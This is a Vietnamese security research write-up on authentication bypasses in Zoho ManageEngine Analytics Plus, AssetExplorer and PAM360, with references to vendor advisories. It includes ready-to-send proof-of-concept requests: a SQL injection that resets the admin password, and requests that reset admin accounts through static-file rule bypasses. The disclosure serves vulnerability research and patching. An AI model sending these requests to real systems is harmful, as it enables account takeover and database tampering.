Tales of Authentication Bypass Across ManageEngine Products

Năm ngoái mình có dịp target và tìm ra một số lỗ hổng trên các sản phẩm của Zoho ManageEngine. Bài viết sẽ chia sẻ lại quá trình này.

Để giới thiệu qua thì ManageEngine là bộ sản phẩm IT management được nhiều tổ chức doanh nghiệp tin dùng, trải dài từ IT helpdesk, AD management, cho đến network và security monitoring. Điểm đáng chú ý là do cùng chung một dòng sản phẩm nên codebase cũng có nhiều điểm tương đồng — nhiều thư viện dùng chung, pattern lặp lại.

SecurityFilter

Trải qua nhiều năm phát triển, codebase lẫn attack surface của ManageEngine lớn dần. Do đó, vào khoảng năm 2022, vendor bắt đầu bổ sung thêm class SecurityFilter đóng vai trò như một filter trung tâm — buộc mọi request phải đi qua đây để dễ dàng kiểm soát hơn:

<filter>    
    <filter-name>Security Filter</filter-name>
    <filter-class>com.adventnet.iam.security.SecurityFilter</filter-class>

    <init-param>
        <param-name>config-file</param-name>
        <param-value>security-properties.xml,security-defaultresponseheaders.xml,__TRUNCATED__</param-value>
    </init-param>
</filter>

<filter-mapping>
    <filter-name>Security Filter</filter-name>
    <url-pattern>/*</url-pattern>
</filter-mapping>

Mỗi request phải match với một ActionRule có sẵn — nếu không, request sẽ bị reject: URL_RULE_NOT_CONFIGURED

Để dễ hiểu:

Request → SecurityFilter → ActionRule match? → Servlet
                              ↓ (no match)
                           Reject 403

Các file *.xml chứa ActionRule ở config-file sẽ được load và có dạng như sau:

<url path="/internalconnectorapi/connector/[a-z0-9]+/db/[0-9]+/CANCREATESETUPFORORG" operation-type="read" authentication="required" app-roles="SUPERADMIN" resource="DB" resource-param="db" internal="true"  oauthscope="metadata">
    <param name="ORGID" regex="zrtext" secret="true" />
    <param name="ORGNAME" regex="zrtext" secret="true" />
</url>

Một số attributes đáng chú ý:

  • path: path regex match với requestURI
  • authentication: yêu cầu xác thực hay không
  • app-roles: role của user
  • <param>: kiểu và định dạng của từng tham số được whitelist (string, long, regex…).

Tóm lại thì SecurityFilter không chỉ đảm nhận việc kiểm tra xác thực mà còn giúp validate 1 request có đúng định dạng - từ requestURI, headers cho đến params/body - khiến quá trình khai thác lỗ hổng (nếu có) trở nên khó khăn hơn.

Ví dụ param ORGNAME có kiểu regex, value cần match pattern sau:

<regex name="zrtext" value="[\p{L}\p{N}\p{P}\p{S}\p{C}\p{M}\p{Z}]+" />

Để bypass class này khá khó khăn khi requestURI đã bị chặn kĩ các ký tự như path parameter, url encoding hay path traversal qua các block:

String uri = request.getRequestURI();
if (uri.contains(";")) {
    logger.log(Level.SEVERE, "******INVALID******* Pathparameter value is present in the request : {0}", uri);
    throw new IAMSecurityException("URL_RULE_NOT_CONFIGURED");
}

if (this.securityFilterConfig.isDisablePathParameterURIDecodingCheck() || !uri.contains("%3b") && !uri.contains("%3B")) {
    if (DispatcherType.REQUEST.equals(request.getDispatcherType()) && (uri.contains(".") || uri.contains("%2e") || uri.contains("%2E"))) {
        for(String pattern : SecurityUtil.PATH_TRAVERSAL_PATTERNS) {
            if (uri.contains(pattern)) {
                logger.log(Level.SEVERE, "Dot Dot Slash is present in the request URI : {0}", uri);
                throw new IAMSecurityException("URL_RULE_NOT_CONFIGURED");
            }
        }
    }

Do vậy mình chuyển hướng qua tìm các ActionRule có thể bị misconfiguration.

CVE-2025-8324: Analytics Plus Authentication Bypass & SQL Injection

Advisory: https://www.manageengine.com/analytics-plus/CVE-2025-8324.html

Tại file securityxmls/ZROP/security-zrop.xml có rule sau dành cho các static files:

<url path="${contextpath}/([_a-zA-Z0-9\-\.\/]+).(npng|jpg|js|css|eot|svg|ttf|otf|woff|gif|html|ico|cur|ttf|bmp|png)" app-roles="PUBLIC" operation-type="read" method="get" authentication="optional">
  • path regex khá rộng, không bị prefix, requestURI chỉ cần match với suffix
  • không yêu cầu xác thực
  • cho phép truyền param tùy ý, không bị kiểm tra định dạng

Root cause của lỗ hổng này nằm ở việc path regex trong rule không được prefix, ta có thể lợi dụng rule để match request với các servlet có wildcard mapping (thường được prefix). Ví dụ:

<servlet-mapping>
    <servlet-name>ZAAdminPageAudit</servlet-name>
    <url-pattern>/admintool/*</url-pattern>
</servlet-mapping>

Request chưa xác thực sau sẽ match với static files rule trên và chạm được servlet ZAAdminPageAudit - dẫn đến auth bypass:

GET /admintool/test/a.png HTTP/1.1
Host: <host>

Analytics Plus có kha khá wildcard mapping. Ngoài việc đọc chay file web.xml, ta có thể dynamic debug để lấy danh sách mapping này chuẩn hơn, tránh miss các trường hợp servlet được add qua runtime.

Đầu tiên, cần thêm lib catalina.jar của tomcat vào idea để được index. Sau đó, tại class org.apache.catalina.mapper.Mapper đặt breakpoint ở method internalMapWrapper() để lấy field wildcardWrappers, khi breakpoint hit, nhấn Alt +F8 ở ô evaluate expression để mở rộng và chạy đoạn code sau:

ArrayList<> results = new ArrayList<>();
int b = wildcardWrappers.length;
for (int i = 0; i < b; i++) {
    results.add(wildcardWrappers[i].object.getServletClass());
}
results.stream().toArray();

Ta được danh sách gồm 53 servlet class: Tomcat_Mapper

Sau khi phân tích, mình tìm được 1 vị trí tồn tại SQL Injection tại servlet:

<servlet>
    <servlet-name>ZACustomConnectorAdmin</servlet-name>
    <servlet-class>com.zoho.bi.zacustomconnector.connectoradmin.ZACustomConnectorAdminServlet</servlet-class>
</servlet>
<servlet-mapping>
    <servlet-name>ZACustomConnectorAdmin</servlet-name>
    <url-pattern>/connectoradmin/*</url-pattern>
</servlet-mapping>

Servlet này được dùng bởi administrators để quản trị và cấu hình nhiều tác vụ. RequestURI sẽ được parse thành uriParams qua constructor sau:

public ClientAPIRequest(HttpServletRequest request, HttpServletResponse response) {
    super(request);
    this.response = response;
    String uri = request.getRequestURI().substring(1);
    String[] uriArray = uri.split("/");
    boolean isCustomInternal = uri.startsWith("internalconnectorapi/v2");
    this.uriParams.put("action", uriArray[uriArray.length - 1]);
    int sIndex = !uriArray[0].equals("reports") && !isCustomInternal ? 1 : 2;

    for(int i = sIndex; i < uriArray.length - 1; i += 2) {
        this.uriParams.put(uriArray[i], uriArray[i + 1]);
    }
}

Do đó cần có format:

/connectoradmin/action/<ACTION>/<key1>/<value1>/<key2>/<value2>...

Trong đó cần set key conndbinfoid để request về sau không bị lỗi:

public String getResourceValue(String resourceName) {
    return (String)this.uriParams.get(resourceName);
}

protected JSONObject executeAPIWithTxn(ClientAPIRequest req) throws Exception {
    String action = req.getZDBAction();
    try {
        Long connInfoId = req.getResourceValue("conndbinfoid") != null ? Long.parseLong(req.getResourceValue("conndbinfoid")) : null;
        if (connInfoId != null) {
            APIFactoryProvider.getThreadLocalAPI().setThreadLocalForGeneratedId(connInfoId);
    // truncated...

Với action là UPDATECONNECTORMETA:

if (action.equals("UPDATECONNECTORMETA")) {

    JSONObject response = new JSONObject();
    Long connModId = req.getParam("CONNMODID") != null ? Long.parseLong(req.getParam("CONNMODID")) : null;
    Long connEntityId = req.getParam("CONNENTITYID") != null ? Long.parseLong(req.getParam("CONNENTITYID")) : null;
    String updColum = req.getRequiredParam("COLUMN");
    String updColumValue = req.getRequiredParam("VALUE");
    String table = req.getRequiredParam("TABLE");
    ZAConnConsumerUtil.updateTableValue(table, updColum, updColumValue, connInfoId, connModId, connEntityId); // [1]
    response.put("message", "Restored Successfully");
    JSONObject connPerms = response;
    return connPerms;
}

Tại [1] sẽ gọi tới ZAConnConsumerUtil.updateTableValue():

public static void updateTableValue(String tableName, String columnName, String columnValue, Long connInfoId, Long connModId, Long connEntitiyId) throws Exception {
    String sql = null;
    switch (tableName) {
        case "CustomConnectorInfo":
            sql = SQLQueryAPI.getSQLString("ZAUpdateTableColValueForConnInfo", new Object[][]{{"UPDATECOLUMN", columnName}, {"UPDATEDVALUE", columnValue}, {"CONNINFOID", connInfoId}});
            break;
        case "CustomConnectorModuleInfo":
            sql = SQLQueryAPI.getSQLString("ZAUpdateTableColValueForConnModInfo", new Object[][]{{"UPDATECOLUMN", columnName}, {"UPDATEDVALUE", columnValue}, {"CONNINFOID", connInfoId}, {"CONNMODID", connModId}});
            break;
        case "CustomConnectorEntityInfo":
            sql = SQLQueryAPI.getSQLString("ZAUpdateTableColValueForConnEntityInfo", new Object[][]{{"UPDATECOLUMN", columnName}, {"UPDATEDVALUE", columnValue}, {"CONNINFOID", connInfoId}, {"CONNENTITYID", connEntitiyId}});
            break;
        case "CustomConnectorModuleStatus":
            sql = SQLQueryAPI.getSQLString("ZAUpdateTableColValueForModuleStatus", new Object[][]{{"UPDATECOLUMN", columnName}, {"UPDATEDVALUE", columnValue}, {"CONNMODID", connModId}, {"CONNENTITYID", connEntitiyId}});
    }

    if (sql != null) {
        SQLQueryAPI.executeUpdate(sql, new RptSQLAdapter(connInfoId != null ? connInfoId : connModId));
    }

}

SQLQueryAPI.getSQLString() có nhiệm vụ lấy sqlString được định nghĩa sẵn trong file cấu hình xml, sau đó thay thế các template variable để tạo thành câu SQL hoàn chỉnh:

<sql name="ZAUpdateTableColValueForConnInfo"> <![CDATA[
    update CustomConnectorInfo set ${UPDATECOLUMN:STRING}= '${UPDATEDVALUE:STRING}' where CONNINFOID = ${CONNINFOID:LONG}
]]> </sql>

Trong quá trình này, method sẽ tự escape các ký tự ở variable - đặc biệt là dấu nháy để tránh SQLi. Tuy nhiên, các sqlString được sử dụng ở method này vì tin răng UPDATECOLUMN là an toàn nên không được bọc trong dấu nháy, case study:

  • set '${UPDATECOLUMN:STRING}'= => safe
  • set ${UPDATECOLUMN:STRING}= => unsafe

Nhờ đó không cần escape dấu nháy, dẫn đến có thể inject câu lệnh sql để đổi password account bất kỳ qua update statement, nhắm vào table sau:

update iamuserpassword set password='$2a$10$5gzarCsB3OlJLGsXSVauP.z0zaH3DH/CjMlv.ybV6hPkgCXaN6Gj.' where user_auto_id=8;
  • $2a$10$5gzarCsB3OlJLGsXSVauP.z0zaH3DH/CjMlv.ybV6hPkgCXaN6Gj.: bcrypt hash của Abcd@1231
  • user_auto_id=8: id của admin account

Vì dấu nháy sẽ bị escape, payload cần tránh dùng ký tự này. Ở đây có khá nhiều cách để xử lý, nhưng đơn giản nhất với mình vẫn là dùng function chr() để convert giá trị ASCII thành ký tự rồi nối lại thành string cho đoạn bcrypt hash. Full payload:

GET /connectoradmin/action/UPDATECONNECTORMETA/conndbinfoid/202/a.png?COLUMN=<@urlencode>VERSIONNO=1 where 1=0; update iamuserpassword set password=chr(36)||chr(50)||chr(97)||chr(36)||chr(49)||chr(48)||chr(36)||chr(53)||chr(103)||chr(122)||chr(97)||chr(114)||chr(67)||chr(115)||chr(66)||chr(51)||chr(79)||chr(108)||chr(74)||chr(76)||chr(71)||chr(115)||chr(88)||chr(83)||chr(86)||chr(97)||chr(117)||chr(80)||chr(46)||chr(122)||chr(48)||chr(122)||chr(97)||chr(72)||chr(51)||chr(68)||chr(72)||chr(47)||chr(67)||chr(106)||chr(77)||chr(108)||chr(118)||chr(46)||chr(121)||chr(98)||chr(86)||chr(54)||chr(104)||chr(80)||chr(107)||chr(103)||chr(67)||chr(88)||chr(97)||chr(78)||chr(54)||chr(71)||chr(106)||chr(46) where user_auto_id=8;--</@urlencode>&VALUE=test2&TABLE=CustomConnectorInfo HTTP/1.1
Host: <host>
  • @urlencode tag: phần cần url encode

sqli_success_update_password

Đến đây có thể login admin account với password Abcd@1231.

Với SQLi và quyền admin, việc leo lên Pre-auth RCE mình nghĩ chỉ là vấn đề thời gian. Tuy nhiên khi làm đến đây mình đã khá nản :( bạn đọc có thể nghiên cứu thêm.

CVE-2025-8309: AssetExplorer Account Takeover

Advisory: https://www.manageengine.com/products/service-desk/cve-2025-8309.html

Tại configuration file security/security-publicaccess.xml, có 2 ActionRule sau cho static files:

<url path="^(?!/api/v3/).*\.(js|css|ico|svg|png|html)" user_type="all" static_files="true" remote_server="true">
<url path="^(?!/api/v3/).*\.(gif|jpg|jpeg|JPG|woff2|woff|otf|eot|txt)$" user_type="all" static_files="true" remote_server="true">
  • path regex khá rộng, không bị prefix, requestURI chỉ cần match với suffix
  • Đã blacklist prefix /api/v3/

Ngoài ra, với AssetExplorer, nếu rule không có attribute ignore-extraparam="true" request không được có thêm param trừ danh sách đã được whitelist (2 rule trên không có param whitelist nào): css_200 css_400

Cùng với đó, dù các rule này không yêu cầu xác thực, nhưng trong web.xml của webapp, tag <security-constraint> đã mặc định tất cả các request cần xác thực, khiến bug thành Post-auth:

<!-- Login required for the following URLs -->
<security-constraint>
    <web-resource-collection>
        <url-pattern>/*</url-pattern>
    </web-resource-collection>
    <auth-constraint>
        <role-name>*</role-name>
    </auth-constraint>
</security-constraint>

Chỉ một số url là được whitelist không cần xác thực:

<security-constraint>
	<web-resource-collection>
		<web-resource-name>Secured Core Context</web-resource-name>
		<!-- For static files URLs -->
		<url-pattern>/scripts/*</url-pattern>
		<url-pattern>/images/*</url-pattern>
		<url-pattern>/favicon.ico</url-pattern>
		<url-pattern>/fonts/*</url-pattern>
		<url-pattern>/zohocomponents/*</url-pattern>

		<!-- truncated... -->
	</web-resource-collection>
</security-constraint>

Anyway, tương tự với Analytics Plus, ta có thể lợi dụng các rule trên để match với bất kỳ servlet nào có wildcard mapping. Tránh rơi vào ActionRule yêu cầu role cao.

Tuy nhiên như đã đề cập, request khi match các rule này không được chứa param nào, nên ta chỉ có thể kiểm soát requestURI, một hạn chế khá lớn.

Vì mọi request cần được khai báo dưới dạng ActionRule, có thể lấy toàn bộ định dạng request bằng cách search theo regex sau: search_regex_url

Trong số đó, mình tìm được các rule sau, cho phép reset password thông qua user id lấy từ requestURI:

<url method="post" roles="SDSiteAdmin,SDAdmin" path="/api/v3/users/(\d+)/(_?)reset_password" >
<url method="post" roles="SDOrgAdmin" path="/api/v3/orgusers/(\d+)/(_?)reset_password"  user_type="all">

Tuy nhiên 2 rule của static files đã blacklist prefix /api/v3/, có thể các api này trước đó đã bị lợi dụng ở CVE nào đó.

Dù vậy mình vẫn tìm ra 2 cách để bypass giới hạn này.

Case 1: Bypass using other mapping

web.xml map /api/v3/ với class SDPAPIV2Servlet:

<servlet>
    <servlet-name>api/v3</servlet-name>
    <servlet-class>com.manageengine.servicedesk.sdpapi.v2.servlet.SDPAPIV2Servlet</servlet-class>
</servlet>

<servlet-mapping>
    <servlet-name>api/v3</servlet-name>
    <url-pattern>/api/v3/*</url-pattern>
</servlet-mapping>

Mình tìm được một mapping khác cũng map vào class trên nhưng dùng /apiv2/:

<servlet>
    <servlet-name>apiv2</servlet-name>
    <servlet-class>com.manageengine.servicedesk.sdpapi.v2.servlet.SDPAPIV2Servlet</servlet-class>
</servlet>

<servlet-mapping>
    <servlet-name>apiv2</servlet-name>
    <url-pattern>/apiv2/*</url-pattern>
</servlet-mapping>

Thông thường, do không có ActionRule nào cho /apiv2/*, path này dù nằm trong mapping cũng không thể dùng được. Nhưng nếu kết hợp với 2 rule static files trên, ta có thể khiến request match vào rule static files để truy cập SDPAPIV2Servlet.

PoC request reset password account có id=2, chính là administrator:

GET /apiv2/orgusers/2/reset_password/a.woff HTTP/1.1
Host: <host>
Cookie: <truncated>

Server sẽ trả về link sau để thực hiện reset password: apiv2_reset_password

Đặt password mới: set_password

Trong trường hợp không có mapping /apiv2/*, vẫn còn một cách khác là lợi dụng StateFilter.

Case 2: Bypass via url forwarding

Request có prefix /STATE_ID/* sẽ đi qua StateFilter:

<filter>
    <filter-name>StateFilter</filter-name>
    <filter-class>com.adventnet.client.view.web.StateFilter</filter-class>
</filter>

<filter-mapping>
    <filter-name>StateFilter</filter-name>
    <url-pattern>/STATE_ID/*</url-pattern>
</filter-mapping>

Class StateFilter:

public class StateFilter implements Filter, WebConstants {
        public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
        try {
            StateParserGenerator.processState((HttpServletRequest)request, (HttpServletResponse)response); // [1]
            String forwardPath = ((HttpServletRequest)request).getRequestURI();
            if (WebClientUtil.isRestful((HttpServletRequest)request) && forwardPath.indexOf("STATE_ID") == -1) {
                chain.doFilter(request, response);
            } else {
                String path = this.getForwardPath((HttpServletRequest)request); // [2]
                RequestDispatcher rd = request.getRequestDispatcher(path);
                rd.forward(request, response); // [3]
            }
        // truncated
    }

    private String getForwardPath(HttpServletRequest request) {
        String path = request.getContextPath() + "/STATE_ID/";
        String forwardPath = request.getRequestURI();
        if (!forwardPath.startsWith(path)) {
            return forwardPath;
        } else {
            int index = forwardPath.indexOf(47, path.length());
            if (WebClientUtil.isRestful(request)) {
                forwardPath = forwardPath.substring(path.length() - 1);
            } else if (index > 0) {
                forwardPath = forwardPath.substring(index);
            }

            return forwardPath;
    }
}
  • [1]: thực hiện parse State Cookie. Để tránh request lỗi, cookie cần có định dạng như sau: Cookie: STATE_COOKIE=&_REQS/_TIME/1993/;
  • [2]: lấy forwardPath, cơ bản là cắt bỏ phần prefix /STATE_ID/<id>. Ví dụ /STATE_ID/1/api/v3/ sẽ trở thành /api/v3/
  • [3]: Forward đến servlet

Nhờ đó, với /STATE_ID/1/api/v3/ -> path không còn bắt đầu với /api/v3/ -> bypass blacklist regex. Bypass với request sau:

GET /STATE_ID/1/api/v3/orgusers/2/reset_password/a.woff HTTP/1.1
Host: <host>
Cookie: STATE_COOKIE=&_REQS/_TIME/1993/; <truncated>

Others

Một số products khác của ManageEngine cũng bị ảnh hưởng với root-cause tương tự khi tồn tại ActionRule có path regex không bị prefix.

Với PAM360 - hay trước đây còn là Password Manager Pro:

<regexes>
    <regex name="meagentacceptall" value=".*"/>
</regexes>
<url path="/${meagentacceptall}/me-agent/${meagentacceptall}" method="get" threshold="30" duration="1" lock-period="5" >

Tức path regex sẽ là:

/.*/me-agent/.*

Nhưng tương tự với AssetExplorer, rule này yêu cầu request phải được xác thực và không cho phép truyền param - khiến attack surface bị giới hạn. PAM360 có khá nhiều servlet với wildcard mapping, nhưng với giới hạn trên, PoC mình chỉ dừng lại ở info leaks, xóa 1 phần data hoặc DoS - vendor đã fix nhưng không đánh mã CVE.

Một số products khác thì mình chưa tìm ra được impact cụ thể vì các giới hạn cũng như trên.

That’s all for now. Hope to see you soon in the next one.